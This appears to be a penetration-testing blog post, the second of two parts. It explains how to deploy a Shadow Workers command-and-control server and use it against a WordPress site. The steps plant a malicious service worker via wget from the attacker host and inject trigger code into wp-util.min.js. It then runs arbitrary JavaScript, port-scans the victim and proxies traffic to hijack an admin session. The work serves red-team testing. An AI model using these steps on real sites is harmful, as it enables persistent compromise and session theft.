Skip to Main Content
October 07, 2021

Persistence Through Service Workers—Part 2: C2 Setup and Use

Written by Drew Kirkpatrick
Application Security Assessment Penetration Testing Red Team Adversarial Attack Simulation Security Testing & Analysis

In Part 1 of this 2-part blog, we provided an overview of service workers and created an appropriate target application to exploit using Shadow Workers. In this blog post we’ll build our C2 server in Digital Ocean and use Shadow Workers to exploit the target application. It is highly recommended to read Part 1 prior to reading this post.

For our Shadow Workers C2 server, we’ll create a Digital Ocean droplet similar to the one (1) in our target application in Part 1. This time we’ll use a standard Linux distribution instead of a Marketplace image.

Figure 1 - Accessing the Page to Create a New Server

Select your desired Linux distribution for the server. I picked Debian 10.

Figure 2 - Select a Linux Distribution for Your C2 Server

We’ll use the smallest (cheapest) server plan, which is perfectly adequate for testing.

Figure 3 - The Cheapest Option

Pick the datacenter in which to deploy your server. It doesn’t really matter where this is, but I like to use something close to home. Add your public SSH keys so you can access the server, give it a name, and create the droplet.

Figure 4 - Create the Shadow Workers C2 Server

Once Digital Ocean finishes creating the server, we will configure our DNS to point to the C2 server.

Figure 5 - Creating DNS Entry for C2 Server

You then should have DNS entries for both your target web application (from Part 1) and the C2 server.

Figure 6 - DNS Entries

Now we need to SSH into our C2 server and set up the Shadow Workers server. The original instructions at https://shadow-workers.github.... will be helpful. Once you login into the C2 server, you should update everything with:
apt update && apt upgrade && apt dist-upgrade

You’ll need to install git and pip first:

apt install git python3-pip

Now we need to clone the Shadow Workers project:

git clone https://github.com/shadow-work...

Once the project has been cloned, cd into the Shadow Workers directory and install the project requirements.

cd shadow-workers

pip3 install -r requirements.txt

Now it’s time to configure our SSL/TLS certificate for our C2 server. We’ll use LetsEncrypt like we did in Part 1. Let’s install Certbot and the necessary Apache module:

apt install certbot python-certbot-apache

Before you use LetsEncrypt to generate your certificate, make sure apache2 isn’t already using port 80, which will be needed by LetsEncrypt:

service apache2 stop

Now that you know apache2 isn’t using port 80, if you don’t have a firewall blocking access to port 80 and your DNS is set up correctly, standalone certificates can be generated using Certbot’s built-in web server. Next, copy those certificates into the Shadow Workers project:

certbot certonly --standalone --preferred-challenges http -d c2server.possiblymalware.com

Figure 7 - Generating LetsEncrypt Certificates

Enter an email address if you choose to and agree to the terms of service.

Figure 8 - Certificates Generated

Now copy these keys into the Shadow Workers directory:

Figure 9 - Copying our Certificate to Shadow Workers Directory

Let’s update the start.sh file. The Shadow Workers system not only includes its C2 portal but provides an integration with mitmweb proxy, which will let us do some fun attacks later. Let’s make mitmweb a little less verbose and ensure python3 is used.

Figure 10 -  Modify start.sh File
Figure 11 - Updated start.sh File

You can set the host/port/HTTPS in environment variables, but I simply added it to the config.py file:

Figure 12 - Enabling HTTPS and Setting Host and Port

Before we start the C2 services, we’ll set up a firewall. The two (2) services we’ll access are the C2 server and the proxy. We can simply port forward to the proxy through SSH. However, our C2 server port 443 will need to be accessible to us and our victim. For testing purposes, we’ll play the role of victim, so restricting port 443 on the C2 server to your source IP address is a good idea for now.

Figure 13 - Restrict Firewall

You can apply this firewall to your target web application server as well.

Figure 14 - Apply the Firewall to the Servers

Now you’re ready to start the Shadow Workers C2 server. Run the start.sh script:

./start.sh

Figure 15 - Starting Shadow Workers C2 Server

And now you can log in to the portal. Note that the credentials to the portal are printed after running the start.sh script.

Figure 16 - Login With Credential Printed During Startup

Now you have access to the Shadow Workers dashboard.

Figure 17 - Shadow Workers Dashboard

Now we need to set up our port forward so we can access the mitmproxy on the Shadow Workers C2 Server. This will allow us to proxy our traffic through the victim’s browser and access the application using their session. This will forward our local port 8081 to the mitmproxy service running on our Shadow Workers C2 Server.

ssh -L 8081:localhost:8888 [email protected]

Figure 18 - Setting Up Proxy Port Forwarding

After configuring Firefox to use an HTTP proxy at localhost on port 8081, a quick check of our routing shows that our Firefox browser is proxying through the Shadow Workers C2 server.

Figure 19 - MITM Proxy Configured

Now that our infrastructure is configured, it’s time to add our malicious service worker code to the target web application server.

You’ll need to install the mitmproxy certificate in your browser so that it’s trusted and can intercept HTTPS traffic. Visit mitmi.it in the browser configured to route through it, and you’ll receive the options to install the certificate.

Figure 20 - Download the Appropriate Certificate

Follow the directions as appropriate for your browser and operating system.

We’ll assume you’ve found a means of compromising the web application server for demonstration purposes. Perhaps you popped a shell or found a file upload vulnerability. Once you have filesystem write access, there are two (2) things we need to accomplish.

First, we need to add the service worker code, as a JavaScript file, into the webroot of the web application (or as high up as possible). Second, we need to add trigger JavaScript that will install the service worker in the user’s browser and allow the service worker to interact with the DOM. This second JavaScript can be added to the application using the filesystem access or injected as an XSS payload. For demonstration, we’ll just add the second trigger JavaScript to the application directly on the filesystem.

We can generate this code within the Shadow Workers dashboard by opening the settings:

Figure 21 - Open Shadow Workers Settings
Figure 22 - Buttons to Generate Service Worker Code and Installer Code

Starting with the service worker code, we’ll download this file to the target web application at the top of the webroot.

Clicking the 'Service Workers JS' button loads the service worker file.

Figure 23 - Service Workers Source Code

If your firewall will allow the vulnerable web application server to access port 443 on your Shadow Workers C2 server, you can simply download this file directly into the webroot:

wget https://c2server.possiblymalwa...

Figure 24 - Service Workers Source Code Installed
Figure 25 - WordPress Webroot Contains Service Worker

If your Shadow Workers C2 server firewall doesn’t allow the target web application server access to port 443, you can simply copy and paste the file. The only system that truly needs access to the Shadow Workers C2 server is you, the attacker monitoring the dashboard, and the victim’s browser when the service worker calls home to the Shadow Workers C2 server.

Now we need to identify a good JavaScript include file in the target application to add our trigger JavaScript. Our victim will be an administrator of the target WordPress site. To identify a potential JavaScript file to add our trigger code to, we log in as an Admin and check to see what JavaScript files are in use. In this case, we’re using developer tools in Chromium to see what JavaScript files are loaded on the authenticated admin page. Note that the loaded JavaScript files can vary considerably between unauthenticated and admin-authenticated pages.

We see in Chromium developer tools that a wp-util.min.js file is used by the admin pages: This looks promising.

Figure 26 - Identifying JavaScript File for Adding Trigger Code

Go back to the Shadow Workers dashboard settings page and generate the XSS Payload code. We’ll copy this code into the wp-util.min.js file.

Figure 27 - Generate Service Worker Trigger Code

Note: If you change the name of the service worker file on the web application, or if it is not installed in the webroot, you’ll need to update the location in the registration code.

Figure 28 - Trigger JavaScript Code Registers Service Worker File

We’ll copy this code into our wp-util.min.js file.

Figure 29 - Edit JavaScript Library
Figure 30 - Editing Original wp-util.min.js File
Figure 31 - Trigger JavaScript Code Added to wp-util.min.js File

Now we just need a victim to log in to the application. When our victim accesses the wp-admin login portal, we'll get our first callback.

Figure 32 - Victim Preparing to Login
Figure 33 - We Have Liftoff

Our victim authenticates as an administrative user, and we can begin to explore what we can do with our malicious service worker.

It’s not uncommon for the session to go dormant with Shadow Workers. The JavaScript will rerun occasionally and call back into the C2 server, moving back into an active state, so some patience may be necessary.

The most interesting functions I’ve found so far are the DOM JS Shell and the proxy capability. First, we’ll use the DOM JS Shell to execute arbitrary JavaScript in the victim’s browser.

Figure 34 - Enable DOM JS Shell

Once the shell is enabled, type the JavaScript code you wish to run in the victim’s browser.

Figure 35 - Injecting JavaScript Through the Service Worker

Once the service worker syncs up with the C2 server, the JavaScript executes in the victim’s browser:

Figure 36 - JavaScript Executing

You can also run a local port scan of the victim’s computer where the service worker is running. It can take a few minutes for this scan to return results.

Figure 37 - Port Scanning the Victim's Computer

A much more interesting, if rather unstable, feature is to proxy our traffic through the victim’s browser, using their active session. This would allow us to access an application on an internal network if the victim can reach the application even if we can’t. If the victim’s browser can reach both the target web application and the Shadow Workers C2 server, we have a path to proxy our traffic through. The bonus? We get to use the victim’s session in the process.

Earlier, we configured a Firefox browser to proxy its traffic through the mitmproxy hosted on the Shadow Workers C2 server. Once we enable proxying in the Shadow Workers dashboard, this browser will proxy its traffic to the target application through the victim’s browser, with their session.

For the proxy feature to work, you need to access the Shadow Workers C2 dashboard through the mitmproxy. It might appear to be working correctly if you directly access the dashboard, but many C2 features only work when you access the dashboard through the mitmproxy. Don’t ask me how many hours I’ve lost debugging that. Just please don’t.

Let’s enable the proxy feature:

Figure 38 - Enable Proxy Through Agent

Once proxy is enabled, you’ll see the button light up green.

Figure 39 - Proxy Enabled

Now all traffic in the Firefox browser using the  mitmproxy for the target web application will be proxied through the victim’s browser. This can be extremely slow, so have patience. You can improve your chances of the proxy feature working if you increase the default HTTP timeout period. (The script is written to timeout after 10 seconds.)

Figure 40 - Searching for Timeout

You can edit sw_mitm.py script to increase the timeout. I used 60 seconds.

Figure 41 - Increasing Proxy HTTP Timeout Period

Once you get the proxying working, you can access the authenticated sections of the target application in your attacker browser, proxy through your victim’s browser, and use their session.

Figure 42 - Proxying Through Victim's Browser to Steal Their Admin Session

Hopefully this guide helps you get Shadow Workers C2 servers up and running and gets you playing around with the possibilities of this technique. Again, a huge kudos to @libnex and @claudiocontin for their work creating this unique project.

References

https://shadow-workers.github.io/
https://github.com/shadow-workers/shadow-workers